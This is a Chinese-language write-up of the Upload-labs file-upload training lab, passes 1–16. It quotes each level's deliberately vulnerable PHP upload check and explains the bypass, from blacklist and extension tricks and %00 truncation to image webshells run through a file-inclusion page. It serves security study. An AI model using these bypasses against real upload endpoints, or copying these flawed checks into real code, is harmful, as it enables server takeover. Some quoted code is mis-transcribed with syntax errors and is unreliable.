Upload-labs分析

Upload-labs代码审计

Upload-labs-pass01: ‘JS禁用’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
//不必多言,直接在浏览器中对JS进行禁用即可。

Upload-labs-pass02: ‘MIME类型绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
//isset(mixed $var, mixed ...$vars): bool
/* 判断一个变量是否已设置, 即变量已被声明,且其值不为 null。
如果一个变量已经被使用 unset() 释放,它将不再被认为已设置。
若使用 isset() 测试一个被赋值为 null 的变量,将返回 false。同时要注意的是 null 字符("\0")并不等同 于 PHP 的 null 常量。
如果一次传入多个参数,那么 isset() 只有在全部参数都已被设置时返回 true。 计算过程从左至右,中途遇到未设 置的变量时就会立即停止。
*/

//file_exists(string $filename): bool
/*检查文件或目录是否存在。*/


黑名单绕过

Upload-labs-pass03: ‘黑名单不全导致的绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单不全,考虑使用其他的后缀绕过即可,如'.phtml'等
$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取得文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//重命名文件
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//trim(string $string, string $characters = " \n\r\t\v\x00"): string
/*去除字符串首尾处的空白字符(或者其他字符)
此函数返回字符串 string 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符:
◦ " " (ASCII 32 (0x20)),普通空格符。
◦ "\t" (ASCII 9 (0x09)),制表符。
◦ "\n" (ASCII 10 (0x0A)),换行符。
◦ "\r" (ASCII 13 (0x0D)),回车符。
◦ "\0" (ASCII 0 (0x00)),空字节符。
◦ "\v" (ASCII 11 (0x0B)),垂直制表符。*/

//strrchr(string $haystack, string $needle): string|false
/*查找指定字符在字符串中的最后一次出现
该函数返回 haystack 字符串中的一部分,这部分以 needle 的最后出现位置开始,直到 haystack 末尾。 */

//strtolower(string $string): string
/*将字符串转化为小写
将 string 中所有的 ASCII 字母字符转换为小写并返回。"A"(0x41)到 "Z"(0x5a)范围内的字节会通过将每个字节值加 32 转为相应的小写字母。
这可用于转换用 UTF-8 编码的字符串中的 ASCII 字符,但会忽略多字节 UTF-8 字符。要转换多字节非 ASCII 字符,请使用 mb_strtolower()。 */

//str_ireplace(array|string $search,array|string $replace,string|array $subject,int &$count = null): string|array
/*该函数返回字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换(忽略大小写)之后的结果。 */

//move_uploaded_file(string $from, string $to): bool
/*本函数检查并确保由 from 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 to 指定的文件。*/

//in_array(mixed $needle, array $haystack, bool $strict = false): bool
/*检查数组中是否存在某个值.
如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。

//date(string $format, ?int $timestamp = null): string
/*使用指定整数 timestamp(Unix 时间戳),或者使用当前时间(如果没有指定时间戳),返回相应的指定格式的格式化字符串。换句话说,timestamp 是可选的,默认值是 time()。
使用示例:
<?php
// 假设今天是 2001 年 3 月 10 日下午 5 点 16 分 18 秒,
// 并且位于山区标准时间(MST)时区
$today = date("F j, Y, g:i a"); // March 10, 2001, 5:16 pm
$today = date("m.d.y"); // 03.10.01
$today = date("j, n, Y"); // 10, 3, 2001
$today = date("Ymd"); // 20010310
$today = date('h-i-s, j-m-y, it is w Day'); // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.'); // it is the 10th day.
$today = date("D M j G:i:s T Y"); // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h'); // 17:03:18 m is month
$today = date("H:i:s"); // 17:16:18
$today = date("Y-m-d H:i:s"); // 2001-03-10 17:16:18(MySQL DATETIME 格式)
?> */

//rand(int $min, int $max): int
/*如果没有提供可选参数 min 和 max 调用 rand() 会返回 0 到 getrandmax() 之间的伪随机整数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。

Upload-labs-pass04: ‘.htaccess配置文件绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");//黑名单,基本上禁用了所有可能的后缀,但是.htaccess没有被禁用,所以我们考虑上传.htaccess文件,让他可以解析别的后缀为'.php'
$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass05: ‘大小写绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单,基本禁用。

$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取文件后缀
//可以对比上一关源代码,发现没有$file_ext = strtolower($file_ext);来将文件后缀转换为小写,所以我们考虑用文件后缀大写绕过,如'1.Php'
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass06: ‘结尾加空格绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单,基本无法绕过。
$file_name = $_FILES['upload_file']['name'];//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
//可以与上一题源代码对比,发现最后没有$file_ext = trim($file_ext);来首尾去空,所以我们考虑用加空格的绕过方式。
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass07: ‘结尾加点绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单,基本无法绕过。
$file_name = trim($_FILES['upload_file']['name'];//去除字符串首尾处的空白字符
//可以对比上一题码源,发现没有$file_name = deldot($file_name);来删除文件末尾的点,所以我们考虑用加点绕过的方法,如'1.php.'
$file_ext = strrchr($file_name, //取文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass08: ‘加::$DATA绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单,基本无法绕过
$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取文件后缀
$file_ext = strtolower($file_ext); //转换为小写
//可以对比上一题码源,发现没有 $file_ext = str_ireplace('::$DATA', '', $file_ext);来去除末尾的'::$DATA,所以我们考虑用加::$DATA来绕过,如'1.php::$DATA'
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass09: ‘加 点 空格 点 绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单
$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
//观察发现源代码好像没什么区别,但是这个对'点'和'空格'的检测并不严格,所以我们可以考虑用加'点'空格'点'的方式绕过,如'1.php. .'
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Upload-labs-pass10: ‘双写后缀绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");//黑名单
$file_name = trim($_FILES['upload_file']['name']);//去除字符串首尾处的空白字符
$file_name = str_ireplace($deny_ext,"", $file_name);//去除文件名里存在于黑名单中的后缀
//观察源码发现 $file_name = str_ireplace($deny_ext,"", $file_name);是一个可绕过点,因为它会删除黑名单中的后缀,导致木马文件无法解析,但只检验一次,也就是说我们可以通过双写后缀的方式绕过检测如'1.pphphp'
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

白名单绕过

Upload-labs-pass11: ‘%00截断绕过’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');//白名单
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);//取文件后缀
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
//save_path是一个可控的变量,后面还有一个后缀名要绕过,所以我们使用%00截断,使用bp抓包get传参,在 url后传入'?save_path=../upload/1.php%00'
//tips:若要使用%00截断要满足两个条件
/*php版本小于5.3.4
/*php的magic_quotes_gpc为OFF状态 */
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
//substr(string $string, int $offset, ?int $length = null): string
/*返回字符串 string 由 offset 和 length 参数指定的子字符串
offset:
如果 offset 是非负数,返回的字符串将从 string 的 offset 位置开始,从 0 开始计算。例如,在字符串 "abcdef" 中,在位置 0 的字符是 "a",位置 2 的字符串是 "c" 等等。
如果 offset 是负数,返回的字符串将从 string 结尾处向前数第 offset 个字符开始。
如果 string 的长度小于 offset,将返回空字符串。
length:
如果提供了正数的 length,返回的字符串将从 offset 处开始最多包括 length 个字符(取决于 string 的长度)。
如果提供了负数的 length,那么 string 末尾处的 length 个字符将会被省略(若 offset 是负数则从字符串尾部算起)。如果 offset 不在这段文本中,那么将返回空字符串。
如果提供了值为 0 的 length,那么将返回一个空字符串。
如果忽略 length 或为 null,返回的子字符串将从 offset 位置开始直到字符串结尾。*/

//strpos(string $haystack, string $needle, int $offset = 0): int|false
/*返回 needle 在 haystack 中首次出现的数字位置。*/

Upload-labs-pass12: ‘%00截断绕过升级版’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');//白名单
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);//取文件后缀
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
//对比上一题的%00截断题,发现save_path参数变成POST传参,因为POST提交的参数不会经过URL编码,所以我们使用bp的快捷编码,选中%00右键conert selection进行快速url编码,其他思路同pass11,但是POST传参
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

Upload-labs-pass13: ‘文件上传配合文件包含漏洞’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);//储存文件头到$strInfo
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);//对文件头转十进制再储存

$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
//fopen(string $filename,string $mode,bool $use_include_path = false,?resource $context = null): resource|false
/*打开文件或者 URL,fopen() 将 filename 指定的名字资源绑定到一个流上。

//fread(resource $stream, int $length): string|false
/*fread() 从文件指针 stream 读取最多 length 个字节。该函数在遇上以下几种情况时停止读取文件:
◦ 读取了 length 个字节
◦ 到达了文件末尾(EOF)

//fclose(resource $stream): bool
/*将 stream 指向的文件关闭。

//unpack(string $format, string $string, int $offset = 0): array|false
/*从二进制字符串中解压缩数据,解压缩的数据存储在关联数组中。

//intval(mixed $value, int $base = 10): int
/*通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。 */

page2:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
//通过观察代码发现,此关会检查我们上传的文件的头两个字节,所以我们索性写一个图片马上传,又因为page2存在文件包含漏洞,所以我们上传图片马后复制图片马的url,在page2的页面写一个get传参'?file=upload/这里是文件名'即可。

Upload-labs-pass14: ‘文件上传配合文件包含漏洞之getimagesize()检查’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);//获取图像信息
$ext = image_type_to_extension($info[2]);//获取图像类型的常量值,根据常量值的不同判断图片文件类型
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
//getimagesize(string $filename, array &$image_info = null): array|false
/*返回一个包含图像信息的数组,该数组的索引如下:
0:图像的宽度(单位:像素)
1:图像的高度(单位:像素)
2:图像类型的常量值(可以使用image_type_to_mime_type()函数将其转换为MIME类型)
3:包含图像属性的字符串,以逗号分隔(如:“width=500,height=300")
如果getimagesize()函数无法读取图像信息,则返回false。否则,返回一个包含上述索引的数组。
*/

//image_type_to_extension(int $image_type, bool $include_dot = true): string|false
/*取得图像类型的文件后缀 */

page2:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
//观察代码可以发现这一关的基本思路与上一关差不多,按照上一关的思路操作即可。

Upload-labs-pass15: ‘文件上传配合文件包含漏洞之exif_imagetype()检查’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);//读取图像第一个字节,返回图像类型
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
//exif_imagetype(string $filename): int|false
/*exif_imagetype() 读取一个图像的第一个字节并检查其签名。返回一个图像类型的常量,对应不同的图片类型 */

page2:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
//观察代码可以发现这一关的基本思路与上一关差不多,按照上一关的思路操作即可。

Upload-labs-pass16: ‘图片二次渲染’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
//imagecreatefromjpeg(string $filename): GdImage|false
/*imagecreatefromjpeg() 返回图像标识符,代表从指定文件名获得的图像。

//imagecreatefrompng(string $filename): GdImage|false
/*imagecreatefrompng() 返回图像标识符,代表从指定文件名获得的图像。*/

//imagecreatefromgif(string $filename): GdImage|false
/*imagecreatefromgif() 返回图像标识符,代表从指定文件名获得的图像。*/

//unlink(string $filename, ?resource $context = null): bool
/*删除 filename。*/

//srand(int $seed = 0, int $mode = MT_RAND_MT19937): void
/*使用 seed 播下随机数发生器种子,或者seed 是 0 时,使用随时值。

//time(): int
/*返回自从 Unix 纪元(格林威治时间 1970 年 1 月 1 日 00:00:00)到当前时间的秒数。

//imagegif(GdImage $image, resource|string|null $file = null): bool
/*imagegif() 从图像 image 在 file 中创建 GIF 图像。image 参数是 imagecreate() 或 imagecreatefrom* 函数的返回值。*/
page2:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
//观察源代码我们可以发现这是一个二次渲染绕过,二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。按照前几关的方式上传,可以上传,但是包含漏洞无法解析。原因就是二次渲染将图片马里面的php代码删了。接下来把原图和修改后的图片进行比较,看哪里没有被渲染,在这里插入php代码。先上传图片马,再下载上传后的图片马,与原图片马一起放到010editor里面比较,找到没有被渲染的位置插入一句话木马,再次上传修改过后的图片马即可成功。
